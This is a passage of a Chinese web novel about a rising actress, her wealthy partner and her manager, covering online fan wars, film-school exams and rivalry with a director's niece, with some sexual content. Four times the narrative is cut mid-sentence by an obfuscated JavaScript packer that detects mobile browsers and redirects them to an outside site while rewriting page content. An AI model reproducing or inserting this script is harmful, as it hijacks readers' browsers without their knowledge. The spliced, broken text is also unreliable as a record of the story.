他又给程锁锈安排台词课、形体课,让她闲着没事就看他列举的各种影视作品、书目……强度拉满,以来备战明年年初的北城电影学院三试。 就在程锁锈每天废寝忘食时,年末,《青梅》播出了。 虽然加大预算投入后,《青梅》较常规短剧提升了一个档次,但毕竟是短剧,演员阵容和规格都摆在那儿,掀不起多大水花。 程锁锈收获了第一批路人粉,他们关注她社交平台、在评论区夸夸、在私信中表白,大多被她的颜值与演技所吸引,可她之后的发展道路如何,大家都抱以观望态度,于是不敢直接变死忠粉大张旗鼓。 毕竟以这部短剧为起点,不算很妙,在娱乐圈发展也不是颜值与实力并存就可以一飞冲天的,背后推手、星运都是很玄乎的东西。 《青梅》剧集播出完毕,反响最强烈的地方莫过于南城国际论坛—— 【就这?】 【感觉网上的讨论还没咱学校内部的讨论多,全是那两个网红的粉丝,还有不少那两人的cp粉说某位是带资进组的扫兴精。不理解她接这部剧是图什么?很着急有一部作品出道吗?】 【看得出很急了,她和这个角色分明就不贴。我承认她有演技,或许路人看着会比较舒服,至少我对她本人气质的印象实在太深刻,以致看剧的时候根本无法代入什么卑微学生妹……她以前在学校里分明就是呼风唤雨的中心人物好么?】 【笑死。】 【所以某位大佬还不发力吗?】 不出半天,这条暗戳戳影射陆巡的发言就被跟帖者自行删除了。 自程锁锈不来上学后,南城国际的风云人物格局变为“两怡之争”。 扈家邑的上学规律为三天打鱼、两天晒网,按说没有了亲哥加持,赖圣怡该明显压扈嘉怡一头,可扈嘉怡近期异常活跃,身边的小姐妹越聚越多,常常活动。 后来才知道,她们成立了一个小型的程锁锈粉丝后援会,势力愈加庞大,在校内四处游说,慢慢将学校论坛里对程锁锈星途不好的言论给劝删干净了。尤其是她和陆巡相关。 虽然学校论坛只有校内人士才能登录,南城国际的这些富家子弟隐姓埋名时爱吃瓜,平时没那么闲,乐意去散播炒作搞事情,但到底是个隐患。 扈嘉怡团队又向微博等平台进军,不断更新程锁锈相关内容,不过翻来覆去也只能发一些《青梅》的剧照和剪辑,还有程锁锈自己在社交平台上公开的照片。 学校中对她们有意见的人不少,论坛上对此冷嘲热讽:【翻来覆去就那么点内容,不知道她们自己发的时候苦不苦恼。】 【嘘——小心HJY姐妹团扒你马,马上找你面对面喝茶谈心。】 【劝删警告。→.→】 扈嘉怡看了都有些焦急,真恨不能找机会单独问陆巡:亏我以前那么喜欢你,觉得你全天下无所不能,你就这么捧我锈锈姐的? * 扈嘉怡姐妹团沉寂了一段时间,只是照例更新程锁锈日常,更多投入到现实生活中,准备过圣诞节与跨年夜,娱乐圈突然爆出一惊天消息,微博热搜上一个红到发黑的【爆】字:#港城最后一位经纪人重出江湖#。 【Hugo?????】 【弱弱问一句,Hugo是谁……今夕何夕,娱乐圈怎么会突然爆出一个港城的词条?】 【Hugo ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717637|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陈季隆,你不知道吗?算了你可能真不知道,想解释但又不知该从何说起,好无力。】 【谢青华,杨抒仪,高曼,这三个名字你有没有听说?哪怕是10后也该如雷贯耳吧?这三个女星都是Hugo一手带出来的,且Hugo只带过这三位,每一位都是一个时代的代表。之后港流衰退,高曼出事,Hugo隐退,如今又重出江湖,我去……我也想感叹一句今夕何夕!】 【所以重出江湖的意思是?】 【指路港城短片《霓虹遗书》,他要带的新人在里面客串一个很神奇的角色。】 【“很神奇的角色”是指……?】 没多久,#霓虹遗书#、#程锁锈#两个词条登上热搜。 《霓虹遗书》是经由Hugo牵线,让程锁锈去港城客串的一部独立短片电影。将赛博朋克与九龙城寨相结合,讲述其中的派系之争,而程锁锈所饰的角色非常惊世骇俗——一名AI仿生人妓.女。 她辗转于各帮派大佬之间,对剧情起到暗中推进作用,戏份不多,但几乎全是高光。 不待路人们前去观摩,陆巡成立的经纪公司便在微博词条中放出程锁锈《霓虹遗书》的高光集锦。 在赛博朋克的迷幻光影里,在九龙城寨的霓虹招牌中,AI仿生女表情机械,可那张面庞简直如艺术品一般完美,又独具风韵。 那双美到失真的眸子总是淡淡的,映出眼前人各种情绪,哪怕是在帮派大佬身下承欢时,也是那样淡淡的,悲悯的…… 樱红肉感的嘴唇,白皙香艳的肉.体,又让她确实是一个尤物。这两种冲突的气质在她身上完美糅合,如此特别的形象让人过目不忘。 只有程锁锈知道,拍完这部影片后她受了多少苦。 ——来自陆巡的苦。 一开始陆巡和Hugo都在片场,在导演身边看监视器。Hugo对程锁锈的这一影片形象大加赞赏,完全沉浸在自己的审美造诣里,手指屏幕,唾沫星子乱飞地和陆巡说:“这才是真正发挥了程锁锈个人特点的角色!多亏了我,我当时一看这部剧本就……” 且想到他们的造势计划,程锁锈将以这一形象进入大众视野,他就兴奋不已。 因为美得实在太别具一格了,很符合他每次带新人都打破常规、引领新风的做派。 而陆巡目光落前方,好像在听的样子。 监视器屏幕上,程锁锈所饰的形象正衣衫不整地躺在榻榻米上,长发凌乱,口红不匀。而那样的红,也沾在她的面颊边、脖颈上、胸脯前。 镜头拉近,放大她那张平寂无波的脸,也放大她那双死灰般的眼。 眼中映出观众的心绪,也映出他陆巡的。 陆巡后来就不去片场了。 不是接受不了这样的程锁锈,而是这样的程锁锈让他无法平静。 毫不夸张来讲,有时梦中都是那一段镜头,那张缓缓推进的程锁锈的脸。 后来他又和程锁锈分房睡。 程锁锈觉得莫名其妙,但好像也明白什么。 直到杀青,陆巡第一次兑现他曾经的话:如果她在镜头前和其他男人有什么香艳的戏份,那他就和她来一百次。 18. 对家 【如果这位的形象完全是倚靠妆造、无任何后期技术合成的话,我大概能理解Hugo为何愿意出山了,确实很值得出来赌一把,错过了这样难得一见的新人真不免可惜。】 【我靠,那当程锁锈粉丝岂不是超级无敌爽!有Hugo作保证,自身条件又摆在那儿,她这一路走下来还会缺资源吗?只要不犯错,坐等登顶就ok了。】 一语惊醒梦中人,就在不少人还对程锁锈抱以观望态度时,反应快的已经立刻化身为她的铁粉,关注她各个平台,入驻她微博超话,甚至将头像与昵称都换成与她相关,开始井然有序地同扈嘉怡姐妹团工作起来,宣传《青梅》、《霓虹遗书》与她的生活照,甚至马上投入战斗,展开对不好言论的反击—— Hugo出山给大众带来的震惊感渐渐从高潮跌落,#霓虹遗书#、#程锁锈#两个词条也相继退出热搜榜单,一些负面词条却一涌而上,譬如什么#AI妓.女算不算影视突破#、#港风美学是不是死了#。 这一晚注定不平凡且特殊,程锁锈放纵一次,没争分夺秒地准备考试,而是瘫在床上和陆巡一起刷手机。当然她是吃瓜,陆巡是工作——她现在已然成为他工作的一部分。 当这些不好的词条出现,她亮给陆巡看,他说:“对家买的。” “对家?”她惊讶,“我现在就有对家了?谁?” “不知道。” 陆巡将自己手机放到她面前,点开#港风美学是不是死了#这一词条,最热的一条微博是一位圈内大V写的文章:《港流凭什么有自信再次凌驾时代》。 对方言辞犀利,看似剖析得有条有理,实际处处暗含对Hugo、程锁锈与《霓虹遗书》三者的抨击。 于是在这一引导下,可能是对家买的黑粉,也可能是被煽动的路人纷纷发言—— 【不是吧,谢青华,杨抒仪,高曼虽然和现在隔了点年代,但她们的作品我们还是知道的,现在这个AI妓.女是什么鬼?这就是Hugo所谓的颠覆时代的方式?】 【这不是文艺复兴这是文化降级。】 【今时确实不同往日了,要我说Hugo还不如安享晚年保个晚节。】 “你看出他们的思路了吗?”陆巡问。 程锁锈思考了一下:“通过Hugo与《霓虹遗书》把我和港流捆绑到一起,事实上我并不是港城人,更与港流扯不上关系,代表不了什么,只是我的经纪人与这部作品都是港城的。” “然后他们通过港流的没落,拿这部独立短片与港流曾经的辉煌时代作对比,加上我这个角色比较敏感,来踩我。” “理清了思路就可以对症下药。” 沉默一会儿,程锁锈有些无奈:“我料想过这个角色可能会引发争议,但没想到会有人专门请大V写文章开词条来抨击我。我这才刚出现在公众视野,谁这么闲,非得来打压我一下?” “谁知道呢。”陆巡立刻从边上拿过平板,构思在网上进行反驳的言论,“但我认为这是件好事,证明对方认为我们非常有威胁性,是吧?” “或许。” 无法再在床上摆烂,程锁锈一股脑起身,走出卧室:“这倒提醒我了。你们给我起的基调太高,暗中又有那么多双眼睛在观察我,我必须得抓紧时间准备考试。” 陆巡看着她背影,听了这番话,真像名小学生雄赳赳气昂昂地说要写作业去,不免好笑。 程锁锈的粉丝一开始面对舆论的转向不知所措,反驳起来七嘴八舌,之后有了陆巡操作,话术才渐渐统一。 【承蒙各位抬举,但望周知,程锁锈是南城人,代表不了港流,只是感谢Hugo赏识,并牵线程锁锈出演了港城短片《霓虹遗书》,以后还请多多关注程锁锈作品~】 【所谓的AI仿生人妓,女也只是作品中的一个角色,导演认为程锁锈合适便定下来出演的,同样代表不了港流,还请某位收了钱的大V不要把简单问题给复杂化,大家平心静气地欣赏我们锈锈的美貌就好~】 【是的是的!纯路人,《霓虹遗书》中程锁锈的镜头实在太惊艳了!瞬间被吸粉!我还想说,现在的作品太少打破常规,根本见不到这么让人眼前一亮的形象,还请Hugo会选多选,程锁锈会演多演。】 【就喜欢这样半路杀出的黑马,迫不及待要看娱乐圈大变天了!0v0】 * 自Hugo成为程锁锈经纪人这件事曝光后,直接来找程锁锈代言的品牌不少,想请她出演的剧本更是满天飞,谁都想蹭她身上现有的热度。 但Hugo什么也不给她接,让她安心备考。 一月中旬,她向北城电影学院递交了初试资料,然后过年。 过年她能去哪儿? 显而易见,要么一个人,要么和陆巡在一起,而陆巡要去陈襄华那儿。 陈襄华在南城单独住一幢小别墅,家里有一名阿姨伴着。除夕这天,程锁锈在保姆车上全副武装,穿戴上女明星的标准四件套:渔夫帽、墨镜、口罩、大衣。提了和陆巡一起买好的东西,按响别墅外门铃,看陆巡一眼,扑哧一声笑,真有种过年见家长的感觉。 当然她和陈襄华见过,且极度不愉快。 但过去这么久,又看在陆巡的面子上,她心平气和不少,觉得有信心能和陈襄华做好表面工夫。 阿姨从屋里小跑着出来,开了门,热情地将两人迎进,程锁锈进屋后将帽子与墨镜等统统摘掉,见到陈襄华后努力挤出个笑,但还是半笑不笑的模样:“阿姨好。” 看得出,陈襄华也在很努力挤笑:“你好。” 还好客厅的电视开着,不至于安静得太过尴尬,陆巡接着和陈襄华说话。 程锁锈放下东西,又脱了大衣,和陆巡进家里,陈襄华和阿姨一起备饭,让他们去贴春联和福字什么的。之后是包饺子,守岁,真有种老夫老妻的感觉。 但程锁锈还没忘准备年后的复试,届时她将去北城,陆巡和Hugo也一起。 * 去北城倒挺方便,坐私人飞机,不怕被偶遇或被狗仔偷拍。 程锁锈敷着面膜,满脑子都是复试。陆巡在机舱另一侧和Hugo密谋片刻,回到她身边说:“这次我们在北城兵分两路。” “怎么说?” “酒店订好了,我们都住一起,但刘榴和Bob陪你去参加复试,我和Hugo有其他事要做。” 刘榴是Hugo给程锁锈招聘的助理,此行浩浩荡荡,除了他们五人,还有两位司机、陆巡的助理,这明星派头真给足了。 程锁锈一直闭着眼,这才懒懒地一睁,看他:“你们去忙什么?” “也就是成立的公司那些事。” “哼,骗人。”她一偏头,没办法,她和陆巡都太过了解彼此,“肯定有什么其他事,你和Hugo总背着我神神秘秘的,算了,不愿说就不说。” 陆巡好笑:“毕竟还没个定数,说了影响你考试的心情。” “就像你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717638|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去港城请Hugo出山时一样?因为没个定数,就不告诉我,突然离开,问什么时候回来也没个准信,要是没成功怎么办?你打算回来之后怎么和我解释?” “就说家里有点事。” “你又开始不正经了,陆巡。” 他依旧笑。 “好,我这次也先不问,毕竟现在以考试为重。” “是啊。”他勾了勾她手指,“你现在最重要的就是头脑清醒,心平气和。” 提前一天下午到达酒店,程锁锈和陆巡住一间总统套房。她无心顾及其他,专心备考,晚饭叫了酒店的□□,打算早一点睡了,十点左右酒店又送来果盘。 “这么晚就别吃水果了。”陆巡说。 说完似乎想到什么,他瞥过去一眼,看见盛放水果的盘子底下露出一角白色的纸。 他走过去,将盘子移开,托盘上的纸对折过,又被用透明塑料包装袋给封着,他说:“程锁锈,给我录个像。” 这一声大名把程锁锈都叫精神了,从旁边摸起手机,对着他开始录像,他缓缓地拆开那包装,将纸展开,看了眼,又看一眼程锁锈。 程锁锈心领神会,凑上去录纸上的内容,是今年北城电影学院复试的考题。 两人在几秒内安静无声。 录像结束。 “你说这是真的假的?”程锁锈问。 “应该祈祷它是假的。” “也是。” 晚一拍意识到其中利害,如果是真的她就完蛋了。 陆巡将这张纸拍了张照片,发给Hugo,但告诉他不是什么大事,不用来这屋找他和程锁锈,只是让他知晓:【这怕是已经有人蠢蠢欲动,要告诉我们谁才是北城的地头蛇了。】 Hugo发个捂嘴笑的小黄豆表情。 陆巡看程锁锈:“不会影响到你吧?” “怎么会?”程锁锈笑着往床上一倒,“我可是见惯了大风大浪的女人。” “好,那早点睡觉。” 两人躺在床上,熄了灯,程锁锈身边传来陆巡的声音:“你看我们两个想的一不一样?虽然不知道是谁,但设计出这么一件事来一定有目的。如果试题是真的,他们不可能白让我们占便宜,事后一定会指出我们作弊,但作弊这件事太大,会使我们以后都无法在娱乐圈立足,我们也会不惜一切代价地查明真相,如此以来双方都有可能陷入万劫不复的境地。” “所以这试题99.9%是假,用来干扰你,或许是对你的试探,也或许是给我们所有人看,他们在北城很有手段。” 程锁锈深表赞同:“能在北城的顶级酒店做出这种事,不怕被查,要打点的地方不少,对方多半是北城人。” “目前也只是猜测。” “OK,那我先睡觉了。” “你心态挺好。” 程锁锈笑出声。 如果对方真想通过这件事来扰乱她心态,未免太小瞧她。 第二天她精神饱满,状态极好,和刘榴、Bob一同乘保姆车去北城电影学院参加复试。这是报考新生的第一次线下亮相,且全部素颜,在场的记者不少,长枪短跑齐聚。 试题内容果然与昨晚那张纸上的毫无关联。 复试结束后,微博热搜榜热闹起来,#北城电影学院复试#的词条中全是高清镜头所抓拍的素颜女生照,网友们激情品评每一位的亮点与不足。 几分钟后,#安思畅#、#程锁锈#两个名字脱颖而出。 19. 你争我斗 战书 or 安思畅,京圈名导曾潮的侄女,长了一张无功无过的脸。 她165个头,有着对女艺人来说比较常见的光滑柔嫩的皮肤,脸很小,一对中规中矩的眉,双眼皮很宽,鼻小巧,唇薄,总之标标准准的一切合在一起算标致,她上词条也不是靠素颜容貌,而是出道早,已有了粉丝基础。 她10岁就出演了叔父曾潮的电影《蓝风筝》,之后偶尔在知名电影中客串。据说曾潮为她量身定制的电影即将开机,粉丝狂热,她无疑成为电影界小花梯队中的种子选手。 并且曾潮是从北城电影学院毕业的。 “京圈”、“北城电影学院校友”、“名导”、“小花种子选手”……各种信息要素叠加在一起,似乎让昨晚的疑云有所眉目。 否则程锁锈纳闷,自己才出道不久,当下的目标也不过是报考北城电影学院而已,会对谁产生那么大利益影响,值得如此大动干戈?除了这位同届的竞争对手似乎再没谁了。 几天之后就是三试,所以程锁锈等人依旧留北城。 回酒店的车上,她和刘榴一起刷着微博上各种内容。 #安思畅#的词条里全是粉丝控评,譬如【安思畅今天状态超级无敌好】、【考试加油】、【期待电影《红潮》】等,井井有条,岁月静好。 而程锁锈是新人,她的词条里不免七嘴八舌—— 【这位就是Hugo的新人?】 【两位小花名列热搜,京圈vs港圈,有趣有趣。】 【可港圈不是很优越吗?怎么还来报考北城电影学院?听上去很奇怪。】 【已经申明过很多次了!程锁锈只是经纪人Hugo是港城人,且由经纪人牵线演了部港城的短片而已,不代表港圈。且程锁锈是南城人,Hugo也专门为程锁锈而来内地工作,所以请别再扣头衔了!】 【有一说一,这位真漂亮。】 【是的,素颜都能看出《霓虹遗书》中的美貌。至于《青梅》,感觉故意把漂亮妹妹给拍丑了。】 【期待这位作品。不过真有点担心,Hugo怎么为她在内地打开局面?隔壁那位可是有叔父一路撑腰,根本不愁资源,这样对比起来是要被吊打的。】 【这还用打开局面?谁不邀请她拍摄我都觉得是浪费美貌!】 【你们程锁锈粉丝是真狂,内娱不是这么混的,早晚成各家黑。】 【某家来视奸前能不能先换个小号?头像还挂着正主照片呢。我只是口嗨一句,意思是我们程锁锈脸在江山在,根本不愁前程,不要过度解读,且某位大导演拍摄的红色题材电影好像不需要这么漂亮的女主吧?】 【有病。】 …… 程锁锈看着网上小学生吵架般的一幕幕啼笑皆非,有时候真恨不能掺合几句,但忍住了。 车回到酒店,Bob说:“刚问了Hugo,他和陆少爷今天要很晚才能回来,所以晚饭不和我们一起吃了,锁锈,你还是叫酒店的客房服务就ok吗?” 这么一说,因为昨晚的事,程锁锈对这家酒店心有余悸。 但外卖她都不感兴趣,何况对方若继续用这种方式搞小动作,她防不胜防:“对,还是叫酒店送餐到房间就可以了。” “OK,那晚上有事我们随时联系。” “好。” 三人各自回各自房间。 想了想,程锁锈给陆巡发了条微信消息:【我回酒店了。】 不想多打扰他,等了两分钟,没回复,不知道他在和Hugo忙什么。 她打开放在床头的包包,从最内夹层中抽出昨晚那张纸,拍了张照片,在ins上搜出安思畅的账号,发给她:【你的战书我收到了。】 【哦?你管这叫战书?】对方秒回。 【不然呢?】 【是逐客令。】 【有点意思。】 【当然我知道逐不走你啦,宝贝儿。】 安思畅反手给她个关注。 程锁锈回关。 这下谁也别玩阴的了。 没多久,微博内—— 【有人发现了么?安思畅和程锁锈刚刚在ins上互关了!】 【怎么不在微博上互关?跑到ins去?偷偷摸摸的。】 【两家粉丝在吵架,可能不想做得太明显吧。】 【天啊,都是好好的女孩子!私底下可能已经成为朋友了吧!以后还会是校友呢!】 【是啊,现在娱乐圈戾气太重了,没必要捧高踩低的,两个都是还不到二十岁的女孩子,都能够好好发展,大家还是友善点吧。】 * 去看过经纪公司的装修进程,陆巡和Hugo的商务车停在北城某小区外。 这小区位置挺偏,也有些年代感了,车还开不到楼下。 打眼看去,院子里植物枝丫生长得肆意,不知道是疏于修剪还是刻意追求这样的洒脱不羁,可以想象出春夏时、草叶都生出来后那如烟如雾的葱茏,连同栏杆、长椅上斑驳的痕,此情此景之下都像是刻意为之的点缀。 陆巡没有坐轮椅,而是一步一步地慢慢地走,本负责为他推轮椅的助理负责提了大包小包东西。 他们来到小区最后方、最正中的一栋楼前,乘着吱呀吱呀的电梯上去,叩响顶层唯一一家住户的门。 为他们开门的是同样退隐江湖的名导——魏仕明。 和Hugo都是六十岁左右年龄,两人看上去却像差了二十岁。 眼前的魏仕明不修边幅,蓄了很长的胡子,屋内风格和整个小区差不多,杂乱而豪放。陆巡带的人将大大小小东西放在门口,离开,魏仕明见了乐呵呵说:“两位登门就算是贵客了,还带这么多东西!” 魏仕明嗜酒,陆巡特意带了特别多白酒。 “两位快入座吧。”魏仕明将二人迎进屋,“饭都让厨子做好了。” 陆巡和Hugo此次造访的目的,魏仕明再清楚不过。 无非是想请他出山,给程锁锈拍一部一鸣惊人、对标曾潮为安思畅量身定制的《红潮》、让程锁锈在圈中从此立足的作品。 要说起魏仕明与曾潮还渊源不浅,两人都是第五代导演的代表,但风格迥异。 魏仕明被冠以“新东方奇幻主义之主”、“视觉美学天才”的称号,创作出的电影天马行空,美轮美奂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717639|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在国际奖项上非常吃香。Hugo曾与他有过合作,因为魏仕明所导的《万花错》正是由高曼主演,是魏仕明与高曼二人生涯中共同的高光。 但魏仕明出身平平,没有背景,创下的成绩完全依仗一身才华,在国内根本斗不过京圈中有权有势的曾潮。 曾潮擅长拍摄主旋律电影,贴近现实生活,但他这个人心眼特小,也可能是独霸国内顶尖导演位置的心特别强烈,于是对魏仕明处处打压,甚至在公开场合中面对面抨击魏仕明的作品“扭曲历史”、“上不了台面”、“不知所云”……魏仕明不喜与人争论,皆一笑而过。 可攻击魏仕明的通稿源源不断,带动着舆论沸反盈天,长此以往便形成一种洗脑效果。国内多项大型活动的导演权也由曾潮包揽。 魏仕明再没有出过作品。 ……往事皆过眼云烟,眼前一杯杯白酒斟满,陆巡从不喝这么多,何况还是白的。 胃要被烧穿了般难受,他和Hugo一人一句磨得嘴皮子疼,看魏仕明红光满面,仿佛只是喝下几杯白水,心里叫苦不迭,这老头子就是不松口。 魏仕明笑呵呵地举杯,截住他们要继续的话:“陆少爷和季隆老友这次的来意我明白,今天是北城电影学院的复试吧?我也不是两耳不闻窗外事,不得不承认,二位确实找到了一颗可以决胜的棋子,可我实在无心再涉足这淌浑水了……” 陆巡只能笑。 快零点,他和Hugo从魏仕明的小区出来,走到一水沟边,他扶墙蹲下,吐得一塌糊涂。 将胃里吐干净反而舒服点。 助理见状去车上给他拿水。 Hugo在他身后叹一口气:“七少爷,这天底下的人可不都像我这么好劝。” “你之所以答应也是因为我爸。” “哼哼。” Hugo不置可否。 没一会儿又说:“娱乐圈鱼龙混杂,大家都累了。怀念也是怀念曾经的气象,再出来你争我斗都觉得不是那么回事了,没意思。” 陆巡接过助理递来的水,漱口,缓了会儿起身:“那真是谢谢你了,Hugo。” “什么?” 北城的冬天真是太冷了,萧瑟又干燥,一种恨不能直接把人给冰成干的冷酷决绝。 刚才一阵风过,陆巡又难得有些虚弱,吐出的几个字也跟着虚虚浮浮。 “我说,谢谢你,愿意出来带程锁锈。” Hugo笑得厉害,跟着他一歪一歪地往车那儿走:“算喽算喽,先想想怎么解决这个糟老头子吧,真是犟!你信不信,他憋了这么多年,手里不可能没有一部好作品,只是心灰意冷,得想个法子把他的心结打开才行。” 两人沉默。 可他的心结是什么呢? 和曾潮之间的不公平对决?作品获得诸多国际奖项却始终饱受争议、不被认可? 陆巡双手抄兜,望着灰黑得干巴巴的天,上车后让助理给他在酒店单独开一间房,将房号发给程锁锈:【睡了没?刚忙完,喝了很多酒,今晚我单独睡在这儿。】 没多久,程锁锈回:【……什么意思?你是在邀请我吗?】 20. 作品 Plan A or 陆巡看过消息后按了会儿眉心,又和助理说:“把房间退了吧,我还在套房睡。” 车上人都有些好笑,Hugo说:“妻管严?” 但大家很快被倦意所挟裹,陷入安静。 在车上闭眼休息了一路,抵达酒店时陆巡已清醒许多。拿房卡刷开套房的房门,屋内灯果然还亮着,程锁锈捧着本书走来走去,看起来还挺努力刻苦,他说:“这么晚都不睡,忘了过几天还有三试了?” “那又不是明天。”她快步迎上来,好奇地上下打量他,扑面就是股浓浓的白酒味,“竟然还是白的?” “什么应酬啊?要你这么拼?” 陆巡那份虚弱她不是看不出来,一张脸格外苍白,眼圈泛红,可他才18岁。 作为在港城与南城皆呼风唤雨的大少爷,平时他啤的都不怎么喝,她想不明白北城是什么龙潭虎穴,到底是什么样的局需要他这样连身体与尊严都不顾。 陆巡一耸肩,没甚力气地笑笑,往屋内走:“我得洗个澡早点休息了。” “好吧,我恪守诺言,现在先不问,但等三试结束后我必须知道全部事情,并且我认为我有这个权利,哪怕我们是利益共同体,至少也是个共同体,对吧?” 她边说边跟在陆巡身旁,他看出她是怕他摔倒,而他一步一步虽然有点跛,却走得很稳,于是看她一眼:“我只是喝了太多白的有点懵,还不至于喝成个傻子,你这是在护幼儿园小孩子走路吗?” 程锁锈笑,但很快笑不出来,眉头一锁:“你是不是吐过?” 不然不该是这种状态。 “嗯。” “行,那你先洗澡,我打电话跟酒店要粥和蜂蜜水。” 折腾到凌晨两点多,两人在床上躺下、熄了灯,因为这一天都挺累,于是都睡得很沉。 但陆巡第二天五点多就醒了,透过薄纱帘,看着窗外清亮亮的天,一种从宿醉中彻底的清醒。 前一晚喝过粥,现在胃里算舒服,总之整个人都回魂了,重新充满力量。 他侧过脸,看着身边程锁锈的睡颜。 到底还是年轻,他想,前一晚那么耗费精神与身体,此时却又生龙活虎。他心里油然生出恶作剧的意图,凑近程锁锈,轻轻地在她唇边一啄。 一下,没反应。 两下,仍没反应。 第三下时,她一皱眉,将脸别向另一侧,却激起他心中的顽劣,捏住她下巴,将她脸给掰转过来。这回程锁锈真被弄醒了,嘴里嘟囔一阵,不知道说的什么,陆巡从床头摸过矿泉水瓶,拧开,递到她唇边:“漱漱口。” “你有病?” 程锁锈一只眼眯开,睨他。 目光又转移到眼前的矿泉水瓶上,那瓶口直接怼到她嘴唇了。 似乎心中也有顺从与情愿,她扶着瓶身,喝一大口,漱口,趴到床沿去将水吐进垃圾桶。还不待翻回来,一个温暖坚实的怀抱便从身后将她包裹,两条手臂圈得她很紧很紧。 宽厚柔软的被子中有积攒了一晚的灼热气息,很有安全感,很舒服。 程锁锈趴在枕头上,像趴在一条小船上,在急促的浪花中起起伏伏。 渐渐摇成一段很长很长的晨梦,她心里很是服气。 * 北城电影学院复试结束的五天后,三试开始了。 程锁锈状态依然不错,结束后校外又是铺天盖地的记者围堵。她听了Hugo与陆巡的安排,没接受任何采访,至多挥手表示婉拒,然后在Bob与刘榴的护送下上保姆车,扬长而去。 三试结束后暂时没理由留在北城,或许过几天就回南城了,不知道陆巡那边的事解决得怎么样,程锁锈打算今晚问个清楚,但陆巡和Hugo又要去应酬。 他们又去了魏仕明家。 看助理从车上提了一盒一盒的白酒,陆巡心里就打怵,苦笑。不过他这次提前吃了药,不知道有没有效果。 前几天复试的热度还未过,三试结束后没多久,微博又热闹起来。 这回受关注的都是在复试中比较突出的几位,于是最具话题的安思畅与程锁锈两人被单独拎出来,开出两词条:#安思畅采访#、#小牌大耍#。 没错,被指小牌大耍的正是程锁锈本锈。 而这词条的精明之处在于,没直接标注程锁锈大名,于是吸引了许多对三试、程锁锈本身并不感兴趣的人点进来,好奇是怎么回事,于是助力这词条的热度一度飙升至热搜榜第二。 他们议论: 【这是谁?没听过。】 【就是之前Hugo说要出山带的那位新人。】 【这是在干什么?怎么直接耍起大牌了?作品还没见。】 【不知道,这热搜买得莫名其妙,点进来什么都弄不明白,这个人除了考试出来后面无表情好像也没做什么吧。】 …… 安思畅在ins上给程锁锈发私信:【不是,姐们,你这么拼?】 她接受采访的词条也不过爬到热搜榜中位,而后慢慢掉下去。 她继续质问:【你宁愿走黑红路线也得压我一头是不是?】 程锁锈回:【你就学着吧。】 【……】 从安思畅接受采访的内容可以看出,她已经在尽力给自己加争议话题了。 记者问:“大家都说你这一路走来完全是倚靠你叔父,以后也会如此,你对这一言论怎么看?” “我去电影院看。”安思畅笑眯眯的,在镜头前如一头人畜无害的小羊羔,“我明年会去电影院看我叔父邀请我主演的新作品《红潮》,讲述的是……” 弹幕都是她粉丝控评:【思畅宝宝真可爱】、【支持曾潮导演的新作品《红潮》】。 记者继续问:“大家都知道,考上北城电影学院你势在必得,请问你认为自己比其他考生强在哪儿?” 这问题够刁钻的,安思畅仍旧采取避其锋芒的打哈哈态度:“靠叔父光环。” 记者一声“哇哦”,她立刻摆手:“开玩笑的。” 然后一秒切换为严肃认真脸:“其实也是靠叔父。因为大家都知道,我出生在电影世家,有很多触手可得的资源,但我必须让自己能力与这些资源相匹配。” “譬如我10岁那年,客串叔父的作品《蓝风筝》,其中一幕是在雨中奔跑,那段是实景拍摄,我足足在暴雨中淋了三个小时。最后被采用的片段里,我是真的在崩溃大哭。后来我回家后高烧半个月不退,我妈以为我要死了,和我叔父大吵一架,差点再也不准我出演叔父的电影。” 说到这里,会心一笑,她鞠躬感谢采访:“希望大家可以多多支持明年春节档上映的《红潮》!” 【天啦噜!真是怜爱我们思畅宝宝了!】 【好可爱好真诚!】 没多久,安思畅又补了个#曾潮《蓝风筝》拍摄内幕曝光#的词条。 说来说去,程锁锈那边虽然被“小女孩不接受采访而已,罪不至此”所挽回,继续营销美貌,可在和安思畅的明争暗斗中,她最大的劣势已然显现出来——她没有一部能拿得出手的作品。 安思畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717640|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 